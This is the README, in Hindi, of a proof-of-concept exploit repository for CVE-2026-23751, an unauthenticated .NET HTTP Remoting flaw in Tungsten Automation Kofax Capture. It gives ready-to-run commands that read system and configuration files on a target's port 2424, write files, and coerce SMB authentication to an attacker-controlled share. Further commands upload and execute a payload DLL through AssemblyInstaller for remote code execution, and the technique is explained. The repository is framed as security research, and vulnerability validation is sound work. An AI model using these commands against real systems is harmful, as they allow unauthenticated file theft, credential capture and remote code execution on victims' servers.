siebrum/cve-2026-23751-pocRemotingClient को CVE-2026-23751 (Tungsten Automation - Kofax Capture अनधिप्रमाणित फ़ाइल पढ़ें/लिखें, रिमोट कोड निष्पादन और .NET HTTP Remoting के माध्यम से SMB coercion) का शोषण करने के लिए पैच किया गया
Code White के NewRemotingTricks में वर्णित .NET HTTP Remoting तकनीक का प्रूफ-ऑफ-कॉन्सेप्ट कार्यान्वयन, जो Tungsten Automation Kofax Capture को लक्षित करता है।
शीर्षक: Tungsten Automation Kofax Capture में .NET HTTP Remoting के माध्यम से अनधिकृत फ़ाइल पढ़ना/लिखना और कमांड निष्पादन
CVE: CVE-2026-23751
इस PoC के लेखक (CVE के नहीं): Filip Sanders, Siebren Kraak
CVE-2026-23751 Tungsten Automation Kofax Capture को प्रभावित करता है और एक अनधिकृत रिमोट हमलावर को Kofax Capture ACService द्वारा उजागर किए गए .NET HTTP Remoting एंडपॉइंट के साथ इंटरैक्ट करने की अनुमति देता है।
इस भेद्यता का दुरुपयोग Kofax Capture सेवा के सुरक्षा संदर्भ में संचालन करने के लिए किया जा सकता है, जिसमें शामिल हैं:
यह PoC Code White की NewRemotingTricks परियोजना से प्रासंगिक .NET Remoting तकनीक को पुनः कार्यान्वित करता है।
यह PoC Kofax Capture ACService HTTP Remoting एंडपॉइंट को लक्षित करता है:
http://<target>:2424/ACService
पोर्ट 2424 प्रभावित सेवा द्वारा उपयोग किया जाने वाला डिफ़ॉल्ट HTTP Remoting पोर्ट है।
PoC तीन ऑपरेशन का समर्थन करता है:
read
write
exec
सामान्य सिंटैक्स है:
RemotingClient_MBRO_Lazy.exe <operation> <object-url> <file-url> [content]
निम्नलिखित उदाहरण लक्ष्य से Windows hosts फ़ाइल पढ़ता है:
PS C:/> .\RemotingClient_MBRO_Lazy.exe read http://<target>:2424/ACService C:\Windows\System32\drivers\etc\hosts
Kofax Capture कॉन्फ़िगरेशन फ़ाइल को इसी तरह पढ़ा जा सकता है:
PS C:/> .\RemotingClient_MBRO_Lazy.exe read http://<target>:2424/ACService C:\ProgramData\Kofax\Remoting\Client\Configuration\ConfigInfo.xml
रिमोट संसाधनों को file:// URI का उपयोग करके भी एक्सेस किया जा सकता है:
PS C:/> .\RemotingClient_MBRO_Lazy.exe read http://<target>:2424/ACService file://\\<attacker>\share\file.txt
रिमोट WebClient द्वारा लौटाई गई सामग्री मानक आउटपुट पर लिखी जाती है।
Kofax Capture सेवा द्वारा सुलभ स्थान पर एक फ़ाइल लिखी जा सकती है, जिसके लिए लक्ष्य पथ के बाद सामग्री प्रदान की जाती है:
PS C:/> .\RemotingClient_MBRO_Lazy.exe write http://<target>:2424/ACService C:\Windows\Temp\test.txt HelloWorld
आपूर्त की गई सामग्री UTF-8 के रूप में एन्कोड की गई है और दूरस्थ रूप से इंस्टैंशिएट किए गए WebClient का उपयोग करके अपलोड की जाती है।
दूरस्थ SMB शेयर पर लिखने के लिए उसी कार्यक्षमता का उपयोग UNC पथ के साथ किया जा सकता है:
PS C:/> .\RemotingClient_MBRO_Lazy.exe write http://<target>:2424/ACService \\<remote_host>\share\file.txt HelloWorld
रिमोट संसाधन तक पहुँचने की क्षमता Kofax Capture सेवा की अनुमतियों और सुरक्षा संदर्भ पर निर्भर करती है।
read ऑपरेशन का उपयोग रिमोट file:// संसाधन के साथ किया जा सकता है ताकि लक्ष्य को हमलावर-नियंत्रित SMB संसाधन तक पहुँचने के लिए प्रेरित किया जा सके:
PS C:/> .\RemotingClient_MBRO_Lazy.exe read http://<target>:2424/ACService file://\\<attacker>\share\file.txt
यह लक्ष्य वातावरण और उसके सुरक्षा कॉन्फ़िगरेशन के आधार पर, प्रभावित होस्ट को हमलावर-नियंत्रित SMB सर्वर से प्रमाणित करने का कारण बन सकता है।
exec ऑपरेशन का उपयोग रिमोट Kofax Capture सेवा के संदर्भ में प्रदान की गई .NET असेंबली को निष्पादित करने के लिए किया जा सकता है।
असेंबली को पहले लक्ष्य पर अपलोड किया जाता है और फिर दूरस्थ रूप से इंस्टैंशिएट किए गए AssemblyInstaller का उपयोग करके लोड किया जाता है:
PS C:/> .\RemotingClient_MBRO_Lazy.exe exec http://<target>:2424/ACService C:\Windows\Temp\payload.dll
दिया गया पथ अपलोड किए गए assembly के गंतव्य के रूप में उपयोग किया जाता है और बाद में इसे रिमोट AssemblyInstaller को पास किया जाता है। assembly को सर्वर-साइड लोड किया जाता है और .NET Framework इंस्टॉलेशन तंत्र के माध्यम से इंस्टॉल किया जाता है।
निष्पादन के बाद, PoC निम्नलिखित से निष्पादन आउटपुट पढ़ता है:
C:\Windows\Temp\pwn_out.txt
Payload.dll की सामग्री पर payload का सटीक व्यवहार निर्भर करता है।
इस भेद्यता में Kofax Capture के ACService द्वारा .NET HTTP Remoting का उपयोग शामिल है।
.NET Remoting दूरस्थ MarshalByRefObject इंस्टेंस के साथ संचार करने के लिए तंत्र प्रदान करता है। उजागर remoting endpoint के साथ इंटरैक्ट करके और तार्किक कॉल संदर्भ में हेरफेर करके, PoC .NET Framework क्लासेस के दूरस्थ इंस्टेंस प्राप्त कर सकता है जो MarshalByRefObject से विरासत में मिलते हैं।
PoC इस व्यवहार का उपयोग निम्नलिखित के दूरस्थ इंस्टेंस प्राप्त करने के लिए करता है:
System.Net.WebClient
System.Configuration.Install.AssemblyInstaller
एक रिमोट रूप से इंस्टैंशिएट किया गया WebClient तब Kofax Capture सेवा के संदर्भ से फ़ाइल-सिस्टम और नेटवर्क संचालन करने के लिए उपयोग किया जा सकता है।
कमांड निष्पादन के लिए, PoC रिमोट WebClient का उपयोग करके Payload.dll अपलोड करता है, एक रिमोट AssemblyInstaller प्राप्त करता है, उसका assembly पथ सेट करता है, और इंस्टॉलेशन तंत्र को लागू करता है। इससे दिया गया assembly लक्ष्य पर लोड और निष्पादित हो जाता है।
इसलिए PoC निम्नलिखित प्रिमिटिव्स को प्रदर्शित करता है:
MarshalByRefObject इंस्टेंस का रिमोट इंस्टैंशिएशनwrite कार्यक्षमता वर्तमान में UTF-8 एन्कोडेड स्ट्रिंग डेटा पर संचालित होती है। स्रोत कोड को संशोधित करके अतिरिक्त फ़ाइल प्रकार और पेलोड प्रारूप समर्थित किए जा सकते हैं।
ACService तक नेटवर्क पहुँचRemotingClient_MBRO_Lazy.exeexec ऑपरेशन का उपयोग करते समय Payload.dllशोषण के लिए Kofax Capture सेवा में किसी प्रमाणीकरण की आवश्यकता नहीं है।
CVE-2026-23751-poc/
├── RemotingClient_MBRO_Lazy/
│ └── RemotingClient_MBRO_Lazy.exe
├── Shared/
│ └── Shared.dll
├── Payload/
│ └── Payload.dll
└── README.md
Filip Sanders
Siebren Kraak
यह रिपॉज़िटरी केवल सुरक्षा अनुसंधान, भेद्यता सत्यापन, और अधिकृत पेनेट्रेशन परीक्षण उद्देश्यों के लिए प्रदान की गई है।
स्पष्ट प्राधिकरण के बिना सिस्टम के विरुद्ध इस PoC का उपयोग न करें। इस सॉफ़्टवेयर के दुरुपयोग से होने वाली क्षति, डेटा हानि, अनधिकृत पहुँच, या अन्य परिणामों के लिए लेखक उत्तरदायी नहीं हैं।